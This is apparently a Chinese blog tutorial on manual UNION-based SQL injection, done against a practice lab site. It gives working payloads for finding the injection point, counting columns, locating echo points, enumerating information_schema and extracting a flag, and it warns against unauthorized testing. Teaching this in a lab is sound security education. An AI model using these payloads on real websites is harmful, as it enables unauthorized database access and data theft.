SQL
SQL注入
- SQL注入攻击是目前web应用网络攻击中最常见的手段之一,曾被冠以 “漏洞之王” 的称号,其安全风险高于缓冲区溢出漏洞等所有其他漏洞,而市场上的防火墙又不能对SQL注入漏洞进行有效的检测和防范。
- SQL注入攻击普遍存在范围广、实现容易、破坏性大等特点。
先来走一遍国际惯例——定义入手:什么是SQL和SQL注入?
结构化查询语言(Structured Query Language)简称 SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾后,添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单来讲就是:攻击者通过构造不同的SQL语句来实现对数据库的操作。
此处两个关键条件:
- 参数用户可控 —— 即用户能够控制数据的输入
- 我们构造的参数可带入数据库执行 —— 原本要执行的代码,拼接了用户的输入
总结一下:
sql 注入的核心
将用户输入的数据拼接到代码中,并被当成 sql 语句执行。
SQL 手注的一般流程
以下操作以某靶场为例,大家可以跟着试一试
(((搬出中华人民共和国网络安全法,这里提醒大家法无授权不可为,渗透测试在靶场做做就好,千万不要去乱搞其他网站,(除非你得到了网站管理员的渗透测试许可),入狱了不要把我供出来
初始界面:
判断注入点 —— 第一步
找页面与数据库产生交互的地方。
我们找到界面中的 url :
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1
这一长串url中 ’ ? ’ 后跟的就是参数
id=1
,’ ? ’ 表示传参。一般来讲 ’ ? '的内容都是用户可控的。若不存在能够与数据库产生交互的地方,那么sql注入也就自然无处下手了。
**这里
id=
后面的内容就可以进行参数修改啦**。
传入SQL语句可控参数分为两类
- 数字类型,参数不用被引号引用
?id=1
- 其他类型,参数需要被引号引用
?name="phone"
我们尝试一下修改参数
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=2
可以看到界面的查询结果改变了
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2
界面报错
证实此处的传参的确将用户输入当做代码执行了,即存在sql注入漏洞。
判断字段数 —— 第二步
使用order by子句,利用网页报错判断字段数,为下一步铺垫
order by 函数具体用法放在这啦,就不详细展开讲了。
ORDER BY 语句用于根据指定的列对结果集进行排序。
我们从
order by 1
开始尝试
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 1
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 2
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 3
以上操作界面均显示正常
但是当改为
order by 4
时,界面报错
由此我们可以得出:说明此处存在三个字段
判断回显点 —— 第三步
接下来我们要使用union select语句,联合查询,通过页面回显找到回显点,再利用其获取我们需要查询的数据。
前置知识:
select 语句用于从表中选取数据。
union 操作符用于合并两个或多个 SELECT 语句的结果集。
注意:
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
什么意思呢? 就是联合查询前后的两个表,第一个表的字段数与第二个表的字段数必须相等,否则就会报错。像这样:
那如果一个表的字段数与第二个表的字段数不相等怎么办呢?我们可以进行如下操作手动补全:
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,3
这样就显示正常了
但我们会发现,这个界面与初始界面一模一样。
因为这里优先显示的是联合查询的第一个结果,而第二个结果未被显示。
所以我们只需要在这里使联合查询的第一个结果不显示(使前半段语句为假,则不返回任何内容):
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,3
我们发现”Your Login Name“后显示的是第二个字段的内容
“Password” 后显示的是第三个字段的内容
保险起见我们验证一下:
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,222,333
证实了我们的猜想。
由此可以得到,回显点就在”Your Login Name“和"Password" 后的位置
查询相关内容 —— 第四步
接下来我们利用显错位获取相关内容,这里我们再分几步进行
mysql中的information_schema说明
information_schema : mysql数据库5.0以上版本,自带数据库,记录了mysql下所有的库名,表名,列名等信息。
主要用到以下几个:
- schemata表 (mysql服务器中所有数据库信息的表)
- tables表 (mysql服务器中所有表信息的表)
- columns表(mysql服务器所有列信息的表)
- table_schema 数据库名
- table_name 表名
- column_name 列名
判断库名
MySQL中的 database()函数 返回默认或当前数据库的名称。
在刚刚的回显点加入database函数,以此得到库名
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,database(),database()
获得数据库库名:error
判断表名
为了查询表名,我们将union后的语句改成:
union select 1,table_name,3 from information_schema.tables where table_schema='error'
下面对这段语句进行详细解释:
回顾一下 select语句 用于从表中选取数据:
SELECT_(列名1,2,3,…)_ FROM _(表名)
已知回显点在列名2和列名3,我们将需要查询返回的数据放在回显点处。
table_name
列在
information_schema
库的
tables
表下。
注意这里不能直接写表名tables, 否则它会在
error
库下找tables表,找不到就会报错。
因此需要使用【库名.表名】的格式:
information_schema.tables
where子句 用于规定选择的标准。
WHERE_(限定条件)
我们需要查询的是
error
库的表名,因此在查询中限定
table_schema='error'
.
也就是返回本张表中所有
table_schema
这一字段的值为
error
的数据所对应的
table_name
值。
好了,现在我们实践一下:
http://injectx1.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error'
为了显示union select后的内容,我们同样在前面加上
and 1=2
得到一个表名:
error_flag
判断列名
同理,列
column_name
在表
information_schema.column
下
union后修改为
union select 1,column_name,3 from information_schema.columns where table_schema='error'and table_name='error_flag'
得到一个列名:
ld
但是如何查询其他列名?这里我们需要用到limit子句。
limit子句 用于强制 SELECT 语句返回指定的记录数。
LIMIT_(参数1),(参数2)
第一个参数指定第一个返回记录行的偏移量(注意这里从0计数),第二个参数指定返回记录行的最大数目。
即 第(参数1)+1个数据 到 第(参数1+参数2)+1个数据
实践一下,查询第二个列名
limit 1,1
union select 1,column_name,3 from information_schema.columns where table_schema='error'and table_name='error_flag' limit 1,1
得到第二个列名:
flag
当然也可以利用
group_concat()
函数 一起输出所有列名 (不推荐,有可能回显点有字符输出限制导致输出不完整)
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='error'and table_name='error_flag'
查询具体信息
靶场小任务
我们现在已经找到了flag字段所在的列名
error_flag
接下来直接使用SELECT语句就可以直接查询flag的内容
union select 1,flag,3 from error_flag
得到flag字段的具体信息: zKaQ-Nf
总结
SQL手注四部曲:
- 判断注入点
id=1 and 1=2
- 判断字段数
id=1 order by 1
- 判断回显点
id=1 and 1=2 union select 1,2,3
- 查询相关内容
id=1 and 1=2 union select 1,database(),3
id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='error’
id=1 ans 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘error’ and table_name='error_flag’
union select 1,flag,3 from error_flag
End 完结撒花~
不许走 点个赞
版权归原作者 Genevieve_xiao 所有, 如有侵权,请联系我们删除。